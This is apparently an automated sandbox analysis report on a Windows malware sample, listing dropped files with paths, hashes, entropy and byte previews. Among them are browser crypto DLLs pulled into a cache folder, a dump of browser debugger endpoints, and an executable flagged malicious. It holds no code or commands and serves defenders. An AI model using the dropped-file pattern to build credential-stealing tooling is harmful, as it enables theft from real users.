SHA-512:	8B369AFE9259B966E2EE30D40D97DF5AA8FF9585DA0FA8A63D040AD6820DB205C2E88F634735C7FAB4BD923CFC252E7B8802DF16C782C1390EED6E8009751947
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".F.5.u.i.u.F.8./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.C.a.1.D.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9001188977330132
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xS5xl9Il8u4rfIvXdQheu/1OF/NtQErY1YKaUNGfUdqYLTtId/vc:a8NYAfeXdC+/rrGKiGfCqYLxR
MD5:	56E4FBA97C867ACF11A48A0D3F07F6BD
SHA1:	B80E6E23980888C1DCC3D7ED4C6B379AEF4C993B
SHA-256:	FBFFCD34438C8C73BD4C8BD534AD41D7F7E1B8E841BC9C5B5E20EF706AF52DE9
SHA-512:	BA7133171D9F59790C1E6FCED0D3D3E3B3B0B6756F97222EAF1F4639EF3A272DAA48C3183147CF60CF8518756A8374110FBA8735428F5FFDC974C71CCF5CE296
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.P.I.M.6.T.B.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.a.C.a.1.D.Y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395644953146123
Encrypted:	false
SSDEEP:	96:6NnQmHQqNnQK4WbQK1NnQo9QBNnQBdgEQTNnQYQINnQADQlNnQPjIwQP7NnQDP3z:6NxN7NQN4aNbNdqNMjIT7NAL
MD5:	5C3D0CA13F11B905551F962154772DEC
SHA1:	C1BB24C384BBAE42BBC202DD02B8019E0F361B11
SHA-256:	E295C30416C2DC5C8CF0784C189A5FB8476C7B8284AE1B14F013897313C26178
SHA-512:	294496C8F7DF046AD05C3AB9B933405A9C4DD6CA64C31E730583DCBB5D56D770E5C863DDAE35E420CC4E976760B123F45E3541D05F2DDFF9BAAF887F90315397
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A7287594BF562136DF7C0783DA89742F",.. "id": "A7287594BF562136DF7C0783DA89742F",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A7287594BF562136DF7C0783DA89742F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/94F6507E781CF5EDE4D3441879776366",.. "id": "94F6507E781CF5EDE4D3441879776366",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/94F6507E781CF5EDE4D3441879776366"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.371133478592625
Encrypted:	false
SSDEEP:	48:SfNaoQ9TEQqfNaoQtyQTfNaoQ5QVfNaoQr0UrU0U8Qp:6NnQ9TEQyNnQsQLNnQ5QBNnQr0UrU0UR
MD5:	D9A234C3F9251BD104871B253A96CD59
SHA1:	85110BB0A5FACA3CC6754CEE56273D783DC33256
SHA-256:	DC57E7A6A90409DD686D7AE0D9F64962AA5CC4D242B802FEF04F613277092BDD
SHA-512:	764B963E5FB3BE047B7D5E7ADEEE7E3429C1062402E8EF7E0FFAFD3FD0FE08D5D1FED574755037C2DA426098AABA129EE6B42B264158CE3A5C1197B99DCA3733
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7255903CA6F319915216184F451B7166",.. "id": "7255903CA6F319915216184F451B7166",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7255903CA6F319915216184F451B7166"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2B5D58E97DE4E150799C437E9D51C842",.. "id": "2B5D58E97DE4E150799C437E9D51C842",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2B5D58E97DE4E150799C437E9D51C842"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853440
Entropy (8bit):	7.950217684758904
Encrypted:	false
SSDEEP:	24576:Ccxa7+E14OfJuo3gxN/DqRJ3wNbysmbeTJ7WIeY4NAzfNf1IiG+3NdZSKphR8LPs:DM7+QB3YMRJ3wlysjTWstPG+cxPA6Ja
MD5:	B20E350B0C7795A2BD612C71136B55AD
SHA1:	63179AEDEB2EC8554C1F166E53D9ECA01A59666F
SHA-256:	417360B3B5B43C821053CB11FAD9E80C10CB02B1E6E6A4BE43B745859C592382
SHA-512:	FD3E9E7E8359A825E5FC7B182C2B1F98E2CAF67671349B353CC0A6A0024ECCD0283F9E3ADFB4253D013790589FCD1AF7B63E06B7C2DAD553348A2B402A06F019
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......D....................jI..............................iI..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...udcljtek.0...@0..,..................@...bcsmrgvx.....pI......"..............@....taggant.0....I.."...&..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\13a8fad1-b855-4ca2-a3ee-ccafb8d9779a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\14d62d30-3ab3-41d3-9523-93154228d015.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\5d326151-ac7b-4e08-885d-affe6edc98fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8c85f3df-d23f-4142-a69e-31ac7e35d33c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsDBGIJEHIID.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853440
Entropy (8bit):	7.950217684758904
Encrypted:	false
SSDEEP:	24576:Ccxa7+E14OfJuo3gxN/DqRJ3wNbysmbeTJ7WIeY4NAzfNf1IiG+3NdZSKphR8LPs:DM7+QB3YMRJ3wlysjTWstPG+cxPA6Ja
MD5:	B20E350B0C7795A2BD612C71136B55AD
SHA1:	63179AEDEB2EC8554C1F166E53D9ECA01A59666F
SHA-256:	417360B3B5B43C821053CB11FAD9E80C10CB02B1E6E6A4BE43B745859C592382
SHA-512:	FD3E9E7E8359A825E5FC7B182C2B1F98E2CAF67671349B353CC0A6A0024ECCD0283F9E3ADFB4253D013790589FCD1AF7B63E06B7C2DAD553348A2B402A06F019
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I...........@.................................W...k.......D....................jI..............................iI..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...udcljtek.0...@0..,..................@...bcsmrgvx.....pI......"..............@....taggant.0....I.."...&..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.408967731186212
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrn:8e2Fa116uCntc5toY22+M
MD5:	185547FD6CCD2719B0F89F4CC242EC28
SHA1:	10F1CD56DD60105B3C59B1E5F711AF9D048BA18A
SHA-256:	B14EDAF4446A502F1E16680B69EC287634AFFC8AFF8D11635D8390286CD22B10
SHA-512:	C0AFD14E9C2B803217F921612D39040FF9FEF88CD310186681C1A9C5599E88299825A6157D3A5595C8C0A667A84230B905F2C2C37C053C2E690BAAAACBD86698
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e596b36d-9b0b-47ed-a282-14e9aaae0b9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\edd194f2-820e-4972-85e8-c4edd0551f20.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1526348
Entropy (8bit):	7.99304031611408
Encrypted:	true
